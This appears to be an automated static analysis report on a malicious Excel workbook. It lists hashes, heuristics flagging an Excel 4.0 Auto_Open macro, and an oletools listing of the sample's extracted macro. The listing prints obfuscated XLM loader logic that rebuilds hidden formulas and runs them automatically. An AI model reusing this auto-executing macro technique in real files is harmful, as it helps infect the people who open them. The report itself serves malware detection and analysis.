Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 06e3ad1dfab07b9c…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:41:12 Authoring application: Microsoft Excel First seen: 2026-06-05
MD5: 47b180c9b88b2d6c2d5f1973c5d15b2e SHA-1: dbc05cafd6b5045422a1d0ee17b8a86a44e77208 SHA-256: 06e3ad1dfab07b9cb1c5f9cd3d1456af12dbd618dad2846120f54bc3a8fb10cd
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, which is configured to call dangerous formula APIs such as RUN. This strongly suggests the macro is designed to execute arbitrary code, likely downloading and running a second-stage payload. The document body contains obfuscated text, further supporting a malicious intent.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6679 bytes
SHA-256: 31da52e1439c7f23fa0e05fbebf3dc38b993d2fad72a16604e9ccf9f13a03281
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  GEJeCybZpW
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E164 
' 0018     20 LABEL : Cell Value, String Constant - aXOeI len=0 
' 0018     25 LABEL : Cell Value, String Constant - cAExeGbdON len=0 
' 0018     27 LABEL : Cell Value, String Constant - CfEYjMWOYsKQ len=0 
' 0018     22 LABEL : Cell Value, String Constant - fBvuOxv len=0 
' 0018     21 LABEL : Cell Value, String Constant - fktxWP len=0 
' 0018     23 LABEL : Cell Value, String Constant - Gbdyxrrr len=0 
' 0018     26 LABEL : Cell Value, String Constant - hAfIRcJlloT len=0 
' 0018     26 LABEL : Cell Value, String Constant - InpEIJOFMpE len=0 
' 0018     26 LABEL : Cell Value, String Constant - KQdVOdhsCQa len=0 
' 0018     21 LABEL : Cell Value, String Constant - LamNRx len=0 
' 0018     26 LABEL : Cell Value, String Constant - lrHDMZJTIio len=0 
' 0018     26 LABEL : Cell Value, String Constant - MjKyjfWmcmo len=0 
' 0018     23 LABEL : Cell Value, String Constant - mwabkZFp len=0 
' 0018     25 LABEL : Cell Value, String Constant - OzGWSaLzdu len=0 
' 0018     20 LABEL : Cell Value, String Constant - RdiZv len=0 
' 0018     26 LABEL : Cell Value, String Constant - RHlVPALcrsE len=0 
' 0018     20 LABEL : Cell Value, String Constant - sVHZY len=0 
' 0018     27 LABEL : Cell Value, String Constant - SVmSKdUYgiwX len=0 
' 0018     25 LABEL : Cell Value, String Constant - tmNMzNxCUi len=0 
' 0018     22 LABEL : Cell Value, String Constant - ZNzwnLh len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  GEJeCybZpW,E78,"SET.NAME("RdiZv",VALUE("0"))",""
'  GEJeCybZpW,E82,"SET.NAME("lrHDMZJTIio",RdiZv)",""
'  GEJeCybZpW,E84,"SET.NAME("fBvuOxv",RdiZv)",""
'  GEJeCybZpW,E86,"SET.NAME("mwabkZFp",COUNTA(ZNzwnLh))",""
'  GEJeCybZpW,E88,"SET.NAME("tmNMzNxCUi",COUNTA(hAfIRcJlloT))",""
'  GEJeCybZpW,E93,[],""
'  GEJeCybZpW,E97,"SET.NAME("MjKyjfWmcmo","")",""
'  GEJeCybZpW,E101,"lrHDMZJTIio",""
'  GEJeCybZpW,E103,"SET.NAME("CfEYjMWOYsKQ",HLOOKUP("*",ZNzwnLh,lrHDMZJTIio,FALSE))",""
'  GEJeCybZpW,E108,"fktxWP",""
'  GEJeCybZpW,E110,"SET.NAME("sVHZY",RdiZv)",""
'  GEJeCybZpW,E112,[],""
'  GEJeCybZpW,E114,"sVHZY",""
'  GEJeCybZpW,E119,"OzGWSaLzdu",""
'  GEJeCybZpW,E124,"RHlVPALcrsE",""
'  GEJeCybZpW,E127,"cAExeGbdON",""
'  GEJeCybZpW,E132,"SET.NAME("InpEIJOFMpE",VALUE(HLOOKUP("*",hAfIRcJlloT,cAExeGbdON,FALSE)))",""
'  GEJeCybZpW,E136,"Gbdyxrrr",""
'  GEJeCybZpW,E138,"MjKyjfWmcmo",""
'  GEJeCybZpW,E143,"fBvuOxv",""
'  GEJeCybZpW,E145,NEXT(),""
'  GEJeCybZpW,E150,"KQdVOdhsCQa",""
'  GEJeCybZpW,E152,"SET.NAME("f",INT(T(FORMULA(T(MjKyjfWmcmo)&"",""&T(KQdVOdhsCQa)))))",""
'  GEJeCybZpW,E155,"LamNRx",""
'  GEJeCybZpW,E157,NEXT(),""
'  GEJeCybZpW,E161,RETURN(),""
'  GEJeCybZpW,E189,"SET.NAME("aXOeI",E78)",""
'  GEJeCybZpW,E193,"ZNzwnLh",""
'  GEJeCybZpW,E195,"SET.NAME("hAfIRcJlloT",R48C13)",""
'  GEJeCybZpW,E200,"SET.NAME("LamNRx",207)",""
'  GEJeCybZpW,E202,"SET.NAME("SVmSKdUYgiwX",5)",""
'  GEJeCybZpW,E206,aXOeI(),""
'  GEJeCybZpW,E207,HALT(),""

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